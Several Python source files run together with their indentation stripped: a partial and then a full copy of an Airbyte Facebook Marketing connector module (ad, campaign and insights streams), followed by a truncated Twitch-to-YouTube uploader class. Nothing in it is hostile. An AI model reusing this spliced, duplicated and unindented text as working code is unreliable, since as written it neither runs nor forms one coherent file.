return (types_mapping[_types],)
def convert_to_schema_types(self, record: Mapping[str, Any], schema: Mapping[str, Any]):
"""
Converts values' type from record to appropriate type from schema. For example, let's say we have `reach` value
and in schema it has `number` type because it's, well, a number, but from API we are getting `reach` as string.
This function fixes this and converts `reach` value from `string` to `number`. Same for all fields and all
types from schema.
"""
if not schema:
return
for key, value in record.items():
if key not in schema:
continue
if isinstance(value, dict):
self.convert_to_schema_types(record=value, schema=schema[key].get("properties", {}))
elif isinstance(value, list) and "items" in schema[key]:
for record_list_item in value:
if list in self.get_python_type(schema[key]["items"]["type"]):
# TODO Currently we don't have support for list of lists.
pass
elif dict in self.get_python_type(schema[key]["items"]["type"]):
self.convert_to_schema_types(record=record_list_item, schema=schema[key]["items"]["properties"])
elif not isinstance(record_list_item, self.get_python_type(schema[key]["items"]["type"])):
record[key] = self.get_python_type(schema[key]["items"]["type"])[0](record_list_item)
elif not isinstance(value, self.get_python_type(schema[key]["type"])):
record[key] = self.get_python_type(schema[key]["type"])[0](value)
def _read_records(self, params: Mapping[str, Any]) -> Iterable:
"""Wrapper around query to backoff errors.
We have default implementation because we still can override read_records so this method is not mandatory.
"""
return []
@backoff_policy
def _extend_record(self, obj: Any, **kwargs):
"""Wrapper around api_get to backoff errors"""
return obj.api_get(**kwargs).export_all_data()
def request_params(self, **kwargs) -> MutableMapping[str, Any]:
"""Parameters that should be passed to query_records method"""
params = {"limit": self.page_size}
if self._include_deleted:
params.update(self._filter_all_statuses())
return params
def _filter_all_statuses(self) -> MutableMapping[str, Any]:
"""Filter that covers all possible statuses thus including deleted/archived records"""
filt_values = [
"active",
"archived",
"completed",
"limited",
"not_delivering",
"deleted",
"not_published",
"pending_review",
"permanently_deleted",
"recently_completed",
"recently_rejected",
"rejected",
"scheduled",
"inactive",
]
return {
"filtering": [
{"field": f"{self.entity_prefix}.delivery_info", "operator": "IN", "value": filt_values},
],
}
class FBMarketingIncrementalStream(FBMarketingStream, ABC):
cursor_field = "updated_time"
def __init__(self, start_date: datetime, **kwargs):
super().__init__(**kwargs)
self._start_date = pendulum.instance(start_date)
def get_updated_state(self, current_stream_state: MutableMapping[str, Any], latest_record: Mapping[str, Any]):
"""Update stream state from latest record"""
potentially_new_records_in_the_past = self._include_deleted and not current_stream_state.get("include_deleted", False)
record_value = latest_record[self.cursor_field]
state_value = current_stream_state.get(self.cursor_field) or record_value
max_cursor = max(pendulum.parse(state_value), pendulum.parse(record_value))
if potentially_new_records_in_the_past:
max_cursor = record_value
return {
self.cursor_field: str(max_cursor),
"include_deleted": self._include_deleted,
}
def request_params(self, stream_state: Mapping[str, Any], **kwargs) -> MutableMapping[str, Any]:
"""Include state filter"""
params = super().request_params(**kwargs)
params = deep_merge(params, self._state_filter(stream_state=stream_state or {}))
return params
def _state_filter(self, stream_state: Mapping[str, Any]) -> Mapping[str, Any]:
"""Additional filters associated with state if any set"""
state_value = stream_state.get(self.cursor_field)
filter_value = self._start_date if not state_value else pendulum.parse(state_value)
potentially_new_records_in_the_past = self._include_deleted and not stream_state.get("include_deleted", False)
if potentially_new_records_in_the_past:
self.logger.info(f"Ignoring bookmark for {self.name} because of enabled `include_deleted` option")
filter_value = self._start_date
return {
"filtering": [
{
"field": f"{self.entity_prefix}.{self.cursor_field}",
"operator": "GREATER_THAN",
"value": filter_value.int_timestamp,
},
],
}
class AdCreatives(FBMarketingStream):
"""AdCreative is append only stream
doc: https://developers.facebook.com/docs/marketing-api/reference/ad-creative
"""
entity_prefix = "adcreative"
batch_size = 50
def read_records(
self,
sync_mode: SyncMode,
cursor_field: List[str] = None,
stream_slice: Mapping[str, Any] = None,
stream_state: Mapping[str, Any] = None,
) -> Iterable[Mapping[str, Any]]:
"""Read records using batch API"""
records = self._read_records(params=self.request_params(stream_state=stream_state))
requests = [record.api_get(fields=self.fields, pending=True) for record in records]
for requests_batch in batch(requests, size=self.batch_size):
for record in self.execute_in_batch(requests_batch):
yield self.clear_urls(record)
@staticmethod
def clear_urls(record: MutableMapping[str, Any]) -> MutableMapping[str, Any]:
"""Some URLs has random values, these values doesn't affect validity of URLs, but breaks SAT"""
thumbnail_url = record.get("thumbnail_url")
if thumbnail_url:
record["thumbnail_url"] = remove_params_from_url(thumbnail_url, ["_nc_hash", "d"])
return record
@backoff_policy
def _read_records(self, params: Mapping[str, Any]) -> Iterator:
return self._api.account.get_ad_creatives(params=params)
class Ads(FBMarketingIncrementalStream):
"""doc: https://developers.facebook.com/docs/marketing-api/reference/adgroup"""
entity_prefix = "ad"
enable_deleted = True
@backoff_policy
def _read_records(self, params: Mapping[str, Any]):
return self._api.account.get_ads(params=params, fields=[self.cursor_field])
class AdSets(FBMarketingIncrementalStream):
"""doc: https://developers.facebook.com/docs/marketing-api/reference/ad-campaign"""
entity_prefix = "adset"
enable_deleted = True
@backoff_policy
def _read_records(self, params: Mapping[str, Any]):
return self._api.account.get_ad_sets(params=params)
class Campaigns(FBMarketingIncrementalStream):
"""doc: https://developers.facebook.com/docs/marketing-api/reference/ad-campaign-group"""
entity_prefix = "campaign"
enable_deleted = True
@backoff_policy
def _read_records(self, params: Mapping[str, Any]):
return self._api.account.get_campaigns(params=params)
class AdsInsights(FBMarketingIncrementalStream):
"""doc: https://developers.facebook.com/docs/marketing-api/insights"""
cursor_field = "date_start"
primary_key = None
ALL_ACTION_ATTRIBUTION_WINDOWS = [
"1d_click",
"7d_click",
"28d_click",
"1d_view",
"7d_view",
"28d_view",
]
ALL_ACTION_BREAKDOWNS = [
"action_type",
"action_target_id",
"action_destination",
]
MAX_WAIT_TO_START = pendulum.duration(minutes=5)
MAX_WAIT_TO_FINISH = pendulum.duration(minutes=30)
MAX_ASYNC_SLEEP = pendulum.duration(minutes=5)
MAX_ASYNC_JOBS = 10
INSIGHTS_RETENTION_PERIOD = pendulum.duration(days=37 * 30)
action_breakdowns = ALL_ACTION_BREAKDOWNS
level = "ad"
action_attribution_windows = ALL_ACTION_ATTRIBUTION_WINDOWS
time_increment = 1
breakdowns = []
def __init__(self, buffer_days, days_per_job, **kwargs):
super().__init__(**kwargs)
self.lookback_window = pendulum.duration(days=buffer_days)
self._days_per_job = days_per_job
def read_records(
self,
sync_mode: SyncMode,
cursor_field: List[str] = None,
stream_slice: Mapping[str, Any] = None,
stream_state: Mapping[str, Any] = None,
) -> Iterable[Mapping[str, Any]]:
"""Waits for current job to finish (slice) and yield its result"""
result = self.wait_for_job(stream_slice["job"])
# because we query `lookback_window` days before actual cursor we might get records older then cursor
for obj in result.get_result():
yield self.transform(obj.export_all_data())
def stream_slices(self, stream_state: Mapping[str, Any] = None, **kwargs) -> Iterable[Optional[Mapping[str, Any]]]:
"""Slice by date periods and schedule async job for each period, run at most MAX_ASYNC_JOBS jobs at the same time.
This solution for Async was chosen because:
1. we should commit state after each successful job
2. we should run as many job as possible before checking for result
3. we shouldn't proceed to consumption of the next job before previous succeed
"""
stream_state = stream_state or {}
running_jobs = deque()
date_ranges = list(self._date_ranges(stream_state=stream_state))
for params in date_ranges:
params = deep_merge(params, self.request_params(stream_state=stream_state))
job = self._create_insights_job(params)
running_jobs.append(job)
if len(running_jobs) >= self.MAX_ASYNC_JOBS:
yield {"job": running_jobs.popleft()}
while running_jobs:
yield {"job": running_jobs.popleft()}
@backoff_policy
def wait_for_job(self, job) -> AdReportRun:
factor = 2
start_time = pendulum.now()
sleep_seconds = factor
while True:
job = job.api_get()
job_progress_pct = job["async_percent_completion"]
job_id = job["report_run_id"]
self.logger.info(f"ReportRunId {job_id} is {job_progress_pct}% complete ({job["async_status"]})")
runtime = pendulum.now() - start_time
if job["async_status"] == "Job Completed":
return job
elif job["async_status"] == "Job Failed":
raise JobTimeoutException(f"AdReportRun {job} failed after {runtime.in_seconds()} seconds.")
elif job["async_status"] == "Job Skipped":
raise JobTimeoutException(f"AdReportRun {job} skipped after {runtime.in_seconds()} seconds.")
if runtime > self.MAX_WAIT_TO_START and job_progress_pct == 0:
raise JobTimeoutException(
f"AdReportRun {job} did not start after {runtime.in_seconds()} seconds."
f" This is an intermittent error which may be fixed by retrying the job. Aborting."
)
elif runtime > self.MAX_WAIT_TO_FINISH:
raise JobTimeoutException(
f"AdReportRun {job} did not finish after {runtime.in_seconds()} seconds."
f" This is an intermittent error which may be fixed by retrying the job. Aborting."
)
self.logger.info(f"Sleeping {sleep_seconds} seconds while waiting for AdReportRun: {job_id} to complete")
time.sleep(sleep_seconds)
if sleep_seconds < self.MAX_ASYNC_SLEEP.in_seconds():
sleep_seconds *= factor
def request_params(self, stream_state: Mapping[str, Any], **kwargs) -> MutableMapping[str, Any]:
params = super().request_params(stream_state=stream_state, **kwargs)
params = deep_merge(
params,
{
"level": self.level,
"action_breakdowns": self.action_breakdowns,
"breakdowns": self.breakdowns,
"fields": self.fields,
"time_increment": self.time_increment,
"action_attribution_windows": self.action_attribution_windows,
},
)
return params
def _state_filter(self, stream_state: Mapping[str, Any]) -> Mapping[str, Any]:
"""Works differently for insights, so remove it"""
return {}
def get_json_schema(self) -> Mapping[str, Any]:
"""Add fields from breakdowns to the stream schema
:return: A dict of the JSON schema representing this stream.
"""
schema = ResourceSchemaLoader(package_name_from_class(self.__class__)).get_schema("ads_insights")
schema["properties"].update(self._schema_for_breakdowns())
return schema
@cached_property
def fields(self) -> List[str]:
"""List of fields that we want to query, for now just all properties from stream's schema"""
schema = ResourceSchemaLoader(package_name_from_class(self.__class__)).get_schema("ads_insights")
return list(schema.get("properties", {}).keys())
def _schema_for_breakdowns(self) -> Mapping[str, Any]:
"""Breakdown fields and their type"""
schemas = {
"age": {"type": ["null", "integer", "string"]},
"gender": {"type": ["null", "string"]},
"country": {"type": ["null", "string"]},
"dma": {"type": ["null", "string"]},
"region": {"type": ["null", "string"]},
"impression_device": {"type": ["null", "string"]},
"placement": {"type": ["null", "string"]},
"platform_position": {"type": ["null", "string"]},
"publisher_platform": {"type": ["null", "string"]},
}
breakdowns = self.breakdowns[:]
if "platform_position" in breakdowns:
breakdowns.append("placement")
return {breakdown: schemas[breakdown] for breakdown in self.breakdowns}
def _date_ranges(self, stream_state: Mapping[str, Any]) -> Iterator[dict]:
"""Iterate over period between start_date/state and now
Notes: Facebook freezes insight data 28 days after it was generated, which means that all data
from the past 28 days may have changed since we last emitted it, so we retrieve it again.
"""
state_value = stream_state.get(self.cursor_field)
if state_value:
start_date = pendulum.parse(state_value) - self.lookback_window
else:
start_date = self._start_date
end_date = pendulum.now()
start_date = max(end_date - self.INSIGHTS_RETENTION_PERIOD, start_date)
for since in pendulum.period(start_date, end_date).range("days", self._days_per_job):
until = min(since.add(days=self._days_per_job - 1), end_date) # -1 because time_range is inclusive
yield {
"time_range": {"since": since.to_date_string(), "until": until.to_date_string()},
}
@backoff_policy
def _create_insights_job(self, params) -> AdReportRun:
job = self._api.account.get_insights(params=params, is_async=True)
job_id = job["report_run_id"]
time_range = params["time_range"]
self.logger.info(f"Created AdReportRun: {job_id} to sync insights {time_range} with breakdown {self.breakdowns}")
return job
class AdsInsightsAgeAndGender(AdsInsights):
breakdowns = ["age", "gender"]
class AdsInsightsCountry(AdsInsights):
breakdowns = ["country"]
class AdsInsightsRegion(AdsInsights):
breakdowns = ["region"]
class AdsInsightsDma(AdsInsights):
breakdowns = ["dma"]
class AdsInsightsPlatformAndDevice(AdsInsights):
breakdowns = ["publisher_platform", "platform_position", "impression_device"]
action_breakdowns = ["action_type"] # FB Async Job fails for unknown reason if we set other breakdowns
class AdsInsightsActionType(AdsInsights):
breakdowns = []
action_breakdowns = ["action_type"]
| #
# MIT License
#
# Copyright (c) 2020 Airbyte
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
import time
import urllib.parse as urlparse
from abc import ABC
from collections import deque
from datetime import datetime
from typing import Any, Iterable, Iterator, List, Mapping, MutableMapping, Optional, Sequence, Union
import backoff
import pendulum
from airbyte_cdk.models import SyncMode
from airbyte_cdk.sources.streams import Stream
from airbyte_cdk.sources.streams.core import package_name_from_class
from airbyte_cdk.sources.utils.schema_helpers import ResourceSchemaLoader
from cached_property import cached_property
from facebook_business.adobjects.adreportrun import AdReportRun
from facebook_business.api import FacebookAdsApiBatch, FacebookRequest, FacebookResponse
from facebook_business.exceptions import FacebookRequestError
from source_facebook_marketing.api import API
from .common import FacebookAPIException, JobTimeoutException, batch, deep_merge, retry_pattern
backoff_policy = retry_pattern(backoff.expo, FacebookRequestError, max_tries=5, factor=5)
def remove_params_from_url(url: str, params: List[str]) -> str:
"""
Parses a URL and removes the query parameters specified in params
:param url: URL
:param params: list of query parameters
:return: URL with params removed
"""
parsed = urlparse.urlparse(url)
query = urlparse.parse_qs(parsed.query, keep_blank_values=True)
filtered = dict((k, v) for k, v in query.items() if k not in params)
return urlparse.urlunparse(
[parsed.scheme, parsed.netloc, parsed.path, parsed.params, urlparse.urlencode(filtered, doseq=True), parsed.fragment]
)
class FBMarketingStream(Stream, ABC):
"""Base stream class"""
primary_key = "id"
page_size = 100
enable_deleted = False
entity_prefix = None
def __init__(self, api: API, include_deleted: bool = False, **kwargs):
super().__init__(**kwargs)
self._api = api
self._include_deleted = include_deleted if self.enable_deleted else False
@cached_property
def fields(self) -> List[str]:
"""List of fields that we want to query, for now just all properties from stream's schema"""
return list(self.get_json_schema().get("properties", {}).keys())
@backoff_policy
def execute_in_batch(self, requests: Iterable[FacebookRequest]) -> Sequence[MutableMapping[str, Any]]:
"""Execute list of requests in batches"""
records = []
def success(response: FacebookResponse):
records.append(response.json())
def failure(response: FacebookResponse):
raise response.error()
api_batch: FacebookAdsApiBatch = self._api.api.new_batch()
for request in requests:
api_batch.add_request(request, success=success, failure=failure)
retry_batch = api_batch.execute()
if retry_batch:
raise FacebookAPIException(f"Batch has failed {len(retry_batch)} requests")
return records
def read_records(
self,
sync_mode: SyncMode,
cursor_field: List[str] = None,
stream_slice: Mapping[str, Any] = None,
stream_state: Mapping[str, Any] = None,
) -> Iterable[Mapping[str, Any]]:
"""Main read method used by CDK"""
for record in self._read_records(params=self.request_params(stream_state=stream_state)):
yield self.transform(self._extend_record(record, fields=self.fields))
def transform(self, record: Mapping[str, Any]) -> Mapping[str, Any]:
"""
Use this method to remove update fields types in record according to schema.
"""
schema = self.get_json_schema()
self.convert_to_schema_types(record, schema["properties"])
return record
def get_python_type(self, _types: Union[list, str]) -> tuple:
"""Converts types from schema to python types. Examples:
- `["string", "null"]` will be converted to `(str,)`
- `["array", "string", "null"]` will be converted to `(list, str,)`
- `"boolean"` will be converted to `(bool,)`
"""
types_mapping = {
"string": str,
"number": float,
"integer": int,
"object": dict,
"array": list,
"boolean": bool,
}
if isinstance(_types, list):
return tuple([types_mapping[t] for t in _types if t != "null"])
return (types_mapping[_types],)
def convert_to_schema_types(self, record: Mapping[str, Any], schema: Mapping[str, Any]):
"""
Converts values' type from record to appropriate type from schema. For example, let's say we have `reach` value
and in schema it has `number` type because it's, well, a number, but from API we are getting `reach` as string.
This function fixes this and converts `reach` value from `string` to `number`. Same for all fields and all
types from schema.
"""
if not schema:
return
for key, value in record.items():
if key not in schema:
continue
if isinstance(value, dict):
self.convert_to_schema_types(record=value, schema=schema[key].get("properties", {}))
elif isinstance(value, list) and "items" in schema[key]:
for record_list_item in value:
if list in self.get_python_type(schema[key]["items"]["type"]):
# TODO Currently we don't have support for list of lists.
pass
elif dict in self.get_python_type(schema[key]["items"]["type"]):
self.convert_to_schema_types(record=record_list_item, schema=schema[key]["items"]["properties"])
elif not isinstance(record_list_item, self.get_python_type(schema[key]["items"]["type"])):
record[key] = self.get_python_type(schema[key]["items"]["type"])[0](record_list_item)
elif not isinstance(value, self.get_python_type(schema[key]["type"])):
record[key] = self.get_python_type(schema[key]["type"])[0](value)
def _read_records(self, params: Mapping[str, Any]) -> Iterable:
"""Wrapper around query to backoff errors.
We have default implementation because we still can override read_records so this method is not mandatory.
"""
return []
@backoff_policy
def _extend_record(self, obj: Any, **kwargs):
"""Wrapper around api_get to backoff errors"""
return obj.api_get(**kwargs).export_all_data()
def request_params(self, **kwargs) -> MutableMapping[str, Any]:
"""Parameters that should be passed to query_records method"""
params = {"limit": self.page_size}
if self._include_deleted:
params.update(self._filter_all_statuses())
return params
def _filter_all_statuses(self) -> MutableMapping[str, Any]:
"""Filter that covers all possible statuses thus including deleted/archived records"""
filt_values = [
"active",
"archived",
"completed",
"limited",
"not_delivering",
"deleted",
"not_published",
"pending_review",
"permanently_deleted",
"recently_completed",
"recently_rejected",
"rejected",
"scheduled",
"inactive",
]
return {
"filtering": [
{"field": f"{self.entity_prefix}.delivery_info", "operator": "IN", "value": filt_values},
],
}
class FBMarketingIncrementalStream(FBMarketingStream, ABC):
cursor_field = "updated_time"
def __init__(self, start_date: datetime, **kwargs):
super().__init__(**kwargs)
self._start_date = pendulum.instance(start_date)
def get_updated_state(self, current_stream_state: MutableMapping[str, Any], latest_record: Mapping[str, Any]):
"""Update stream state from latest record"""
potentially_new_records_in_the_past = self._include_deleted and not current_stream_state.get("include_deleted", False)
record_value = latest_record[self.cursor_field]
state_value = current_stream_state.get(self.cursor_field) or record_value
max_cursor = max(pendulum.parse(state_value), pendulum.parse(record_value))
if potentially_new_records_in_the_past:
max_cursor = record_value
return {
self.cursor_field: str(max_cursor),
"include_deleted": self._include_deleted,
}
def request_params(self, stream_state: Mapping[str, Any], **kwargs) -> MutableMapping[str, Any]:
"""Include state filter"""
params = super().request_params(**kwargs)
params = deep_merge(params, self._state_filter(stream_state=stream_state or {}))
return params
def _state_filter(self, stream_state: Mapping[str, Any]) -> Mapping[str, Any]:
"""Additional filters associated with state if any set"""
state_value = stream_state.get(self.cursor_field)
filter_value = self._start_date if not state_value else pendulum.parse(state_value)
potentially_new_records_in_the_past = self._include_deleted and not stream_state.get("include_deleted", False)
if potentially_new_records_in_the_past:
self.logger.info(f"Ignoring bookmark for {self.name} because of enabled `include_deleted` option")
filter_value = self._start_date
return {
"filtering": [
{
"field": f"{self.entity_prefix}.{self.cursor_field}",
"operator": "GREATER_THAN",
"value": filter_value.int_timestamp,
},
],
}
class AdCreatives(FBMarketingStream):
"""AdCreative is append only stream
doc: https://developers.facebook.com/docs/marketing-api/reference/ad-creative
"""
entity_prefix = "adcreative"
batch_size = 50
def read_records(
self,
sync_mode: SyncMode,
cursor_field: List[str] = None,
stream_slice: Mapping[str, Any] = None,
stream_state: Mapping[str, Any] = None,
) -> Iterable[Mapping[str, Any]]:
"""Read records using batch API"""
records = self._read_records(params=self.request_params(stream_state=stream_state))
requests = [record.api_get(fields=self.fields, pending=True) for record in records]
for requests_batch in batch(requests, size=self.batch_size):
for record in self.execute_in_batch(requests_batch):
yield self.clear_urls(record)
@staticmethod
def clear_urls(record: MutableMapping[str, Any]) -> MutableMapping[str, Any]:
"""Some URLs has random values, these values doesn't affect validity of URLs, but breaks SAT"""
thumbnail_url = record.get("thumbnail_url")
if thumbnail_url:
record["thumbnail_url"] = remove_params_from_url(thumbnail_url, ["_nc_hash", "d"])
return record
@backoff_policy
def _read_records(self, params: Mapping[str, Any]) -> Iterator:
return self._api.account.get_ad_creatives(params=params)
class Ads(FBMarketingIncrementalStream):
"""doc: https://developers.facebook.com/docs/marketing-api/reference/adgroup"""
entity_prefix = "ad"
enable_deleted = True
@backoff_policy
def _read_records(self, params: Mapping[str, Any]):
return self._api.account.get_ads(params=params, fields=[self.cursor_field])
class AdSets(FBMarketingIncrementalStream):
"""doc: https://developers.facebook.com/docs/marketing-api/reference/ad-campaign"""
entity_prefix = "adset"
enable_deleted = True
@backoff_policy
def _read_records(self, params: Mapping[str, Any]):
return self._api.account.get_ad_sets(params=params)
class Campaigns(FBMarketingIncrementalStream):
"""doc: https://developers.facebook.com/docs/marketing-api/reference/ad-campaign-group"""
entity_prefix = "campaign"
enable_deleted = True
@backoff_policy
def _read_records(self, params: Mapping[str, Any]):
return self._api.account.get_campaigns(params=params)
class AdsInsights(FBMarketingIncrementalStream):
"""doc: https://developers.facebook.com/docs/marketing-api/insights"""
cursor_field = "date_start"
primary_key = None
ALL_ACTION_ATTRIBUTION_WINDOWS = [
"1d_click",
"7d_click",
"28d_click",
"1d_view",
"7d_view",
"28d_view",
]
ALL_ACTION_BREAKDOWNS = [
"action_type",
"action_target_id",
"action_destination",
]
MAX_WAIT_TO_START = pendulum.duration(minutes=5)
MAX_WAIT_TO_FINISH = pendulum.duration(minutes=30)
MAX_ASYNC_SLEEP = pendulum.duration(minutes=5)
MAX_ASYNC_JOBS = 10
INSIGHTS_RETENTION_PERIOD = pendulum.duration(days=37 * 30)
action_breakdowns = ALL_ACTION_BREAKDOWNS
level = "ad"
action_attribution_windows = ALL_ACTION_ATTRIBUTION_WINDOWS
time_increment = 1
breakdowns = []
def __init__(self, buffer_days, days_per_job, **kwargs):
super().__init__(**kwargs)
self.lookback_window = pendulum.duration(days=buffer_days)
self._days_per_job = days_per_job
def read_records(
self,
sync_mode: SyncMode,
cursor_field: List[str] = None,
stream_slice: Mapping[str, Any] = None,
stream_state: Mapping[str, Any] = None,
) -> Iterable[Mapping[str, Any]]:
"""Waits for current job to finish (slice) and yield its result"""
result = self.wait_for_job(stream_slice["job"])
# because we query `lookback_window` days before actual cursor we might get records older then cursor
for obj in result.get_result():
yield self.transform(obj.export_all_data())
def stream_slices(self, stream_state: Mapping[str, Any] = None, **kwargs) -> Iterable[Optional[Mapping[str, Any]]]:
"""Slice by date periods and schedule async job for each period, run at most MAX_ASYNC_JOBS jobs at the same time.
This solution for Async was chosen because:
1. we should commit state after each successful job
2. we should run as many job as possible before checking for result
3. we shouldn't proceed to consumption of the next job before previous succeed
"""
stream_state = stream_state or {}
running_jobs = deque()
date_ranges = list(self._date_ranges(stream_state=stream_state))
for params in date_ranges:
params = deep_merge(params, self.request_params(stream_state=stream_state))
job = self._create_insights_job(params)
running_jobs.append(job)
if len(running_jobs) >= self.MAX_ASYNC_JOBS:
yield {"job": running_jobs.popleft()}
while running_jobs:
yield {"job": running_jobs.popleft()}
@backoff_policy
def wait_for_job(self, job) -> AdReportRun:
factor = 2
start_time = pendulum.now()
sleep_seconds = factor
while True:
job = job.api_get()
job_progress_pct = job["async_percent_completion"]
job_id = job["report_run_id"]
self.logger.info(f"ReportRunId {job_id} is {job_progress_pct}% complete ({job['async_status']})")
runtime = pendulum.now() - start_time
if job["async_status"] == "Job Completed":
return job
elif job["async_status"] == "Job Failed":
raise JobTimeoutException(f"AdReportRun {job} failed after {runtime.in_seconds()} seconds.")
elif job["async_status"] == "Job Skipped":
raise JobTimeoutException(f"AdReportRun {job} skipped after {runtime.in_seconds()} seconds.")
if runtime > self.MAX_WAIT_TO_START and job_progress_pct == 0:
raise JobTimeoutException(
f"AdReportRun {job} did not start after {runtime.in_seconds()} seconds."
f" This is an intermittent error which may be fixed by retrying the job. Aborting."
)
elif runtime > self.MAX_WAIT_TO_FINISH:
raise JobTimeoutException(
f"AdReportRun {job} did not finish after {runtime.in_seconds()} seconds."
f" This is an intermittent error which may be fixed by retrying the job. Aborting."
)
self.logger.info(f"Sleeping {sleep_seconds} seconds while waiting for AdReportRun: {job_id} to complete")
time.sleep(sleep_seconds)
if sleep_seconds < self.MAX_ASYNC_SLEEP.in_seconds():
sleep_seconds *= factor
def request_params(self, stream_state: Mapping[str, Any], **kwargs) -> MutableMapping[str, Any]:
params = super().request_params(stream_state=stream_state, **kwargs)
params = deep_merge(
params,
{
"level": self.level,
"action_breakdowns": self.action_breakdowns,
"breakdowns": self.breakdowns,
"fields": self.fields,
"time_increment": self.time_increment,
"action_attribution_windows": self.action_attribution_windows,
},
)
return params
def _state_filter(self, stream_state: Mapping[str, Any]) -> Mapping[str, Any]:
"""Works differently for insights, so remove it"""
return {}
def get_json_schema(self) -> Mapping[str, Any]:
"""Add fields from breakdowns to the stream schema
:return: A dict of the JSON schema representing this stream.
"""
schema = ResourceSchemaLoader(package_name_from_class(self.__class__)).get_schema("ads_insights")
schema["properties"].update(self._schema_for_breakdowns())
return schema
@cached_property
def fields(self) -> List[str]:
"""List of fields that we want to query, for now just all properties from stream's schema"""
schema = ResourceSchemaLoader(package_name_from_class(self.__class__)).get_schema("ads_insights")
return list(schema.get("properties", {}).keys())
def _schema_for_breakdowns(self) -> Mapping[str, Any]:
"""Breakdown fields and their type"""
schemas = {
"age": {"type": ["null", "integer", "string"]},
"gender": {"type": ["null", "string"]},
"country": {"type": ["null", "string"]},
"dma": {"type": ["null", "string"]},
"region": {"type": ["null", "string"]},
"impression_device": {"type": ["null", "string"]},
"placement": {"type": ["null", "string"]},
"platform_position": {"type": ["null", "string"]},
"publisher_platform": {"type": ["null", "string"]},
}
breakdowns = self.breakdowns[:]
if "platform_position" in breakdowns:
breakdowns.append("placement")
return {breakdown: schemas[breakdown] for breakdown in self.breakdowns}
def _date_ranges(self, stream_state: Mapping[str, Any]) -> Iterator[dict]:
"""Iterate over period between start_date/state and now
Notes: Facebook freezes insight data 28 days after it was generated, which means that all data
from the past 28 days may have changed since we last emitted it, so we retrieve it again.
"""
state_value = stream_state.get(self.cursor_field)
if state_value:
start_date = pendulum.parse(state_value) - self.lookback_window
else:
start_date = self._start_date
end_date = pendulum.now()
start_date = max(end_date - self.INSIGHTS_RETENTION_PERIOD, start_date)
for since in pendulum.period(start_date, end_date).range("days", self._days_per_job):
until = min(since.add(days=self._days_per_job - 1), end_date) # -1 because time_range is inclusive
yield {
"time_range": {"since": since.to_date_string(), "until": until.to_date_string()},
}
@backoff_policy
def _create_insights_job(self, params) -> AdReportRun:
job = self._api.account.get_insights(params=params, is_async=True)
job_id = job["report_run_id"]
time_range = params["time_range"]
self.logger.info(f"Created AdReportRun: {job_id} to sync insights {time_range} with breakdown {self.breakdowns}")
return job
class AdsInsightsAgeAndGender(AdsInsights):
breakdowns = ["age", "gender"]
class AdsInsightsCountry(AdsInsights):
breakdowns = ["country"]
class AdsInsightsRegion(AdsInsights):
breakdowns = ["region"]
class AdsInsightsDma(AdsInsights):
breakdowns = ["dma"]
class AdsInsightsPlatformAndDevice(AdsInsights):
breakdowns = ["publisher_platform", "platform_position", "impression_device"]
action_breakdowns = ["action_type"] # FB Async Job fails for unknown reason if we set other breakdowns
class AdsInsightsActionType(AdsInsights):
breakdowns = []
action_breakdowns = ["action_type"]
|
from twitchAPI.types import VideoType, EventSubSubscriptionConflict, EventSubSubscriptionTimeout, EventSubSubscriptionError
from time import sleep
from threading import Thread
import logging
from vodloader_video import vodloader_video
from vodloader_status import vodloader_status
from youtube_uploader import YouTubeOverQuota, youtube_uploader
import datetime
import pytz
import os
class vodloader(object):
def __init__(self, sl, channel, twitch, webhook, twitch_config, yt_json, download_dir, keep=False, upload=True, sort=True, quota_pause=True, tz=pytz.timezone("America/Chicago")):
self.streamlink = sl
self.end = False
self.channel = channel
self.logger = logging.getLogger(f'vodloader.{self.channel}')
self.logger.info(f'Setting up vodloader for {self.channel}')
self.tz = tz
self.download_dir = download_dir
self.keep = keep
self.twitch = twitch
self.webhook = webhook
self.upload = upload
self.quota_pause = quota_pause
if self.upload:
self.uploader = youtube_uploader(self, yt_json, twitch_config['youtube_param'], sort)
if self.uploader.sort:
self.uploader.sort_playlist_by_timestamp(twitch_config['youtube_param']['playlistId'])
else:
self.uploader = None
self.user_id = self.get_user_id()
self.status = vodloader_status(self.user_id)
self.sync_status()
self.get_live()
self.webhook_subscribe()
if 'chapters' in twitch_config and twitch_config['chapters'] != "":
self.chapters_type = twitch_config['chapters']
else:
self.chapters_type = False
if 'quality' in twitch_config and twitch_config['quality'] != "":
self.quality = twitch_config['quality']
else:
self.quality = 'best'
if 'backlog' in twitch_config and twitch_config['backlog']:
self.backlog = twitch_config['backlog']
else:
self.backlog = False
if self.backlog:
self.backlog_process = Thread(target=self.backlog_buffload, args=(), daemon=True)
self.backlog_process.start()
def __del__(self):
self.webhook_unsubscribe()
async def callback_online(self, data: dict):
if not self.live:
self.live = True
self.logger.info(f'{self.channel} has gone live!')
data = self.twitch.get_streams(user_id=self.user_id)['data'][0]
url = 'https://www.twitch.tv/' + self.channel
self.livestream = vodloader_video(self, url, data, backlog=False, quality=self.quality)
async def callback_offline(self, data: dict):
self.live = False
self.logger.info(f'{self.channel} has gone offline')
async def callback_channel_update(self, data:dict):
if self.live:
data = data['event']
if self.livestream.chapters.get_current_game() != data["category_name"]:
self.logger.info(f'{self.channel} has changed game to {data['category_name']}')
if self.livestream.chapters.get_current_title() != data["title"]:
self.logger.info(f'{self.channel} has changed their title to {data['title']}')
self.livestream.chapters.append(data['category_name'], data['title'])
def get_live(self):
data = self.twitch.get_streams(user_id=self.user_id)
if not data['data']:
self.live = False
elif data['data'][0]['type'] == 'live':
self.live = True
else:
self.live = False
return self.live
def webhook_unsubscribe(self):
if self.webhook_uuid:
success = set()
for uuid in self.webhook_uuid:
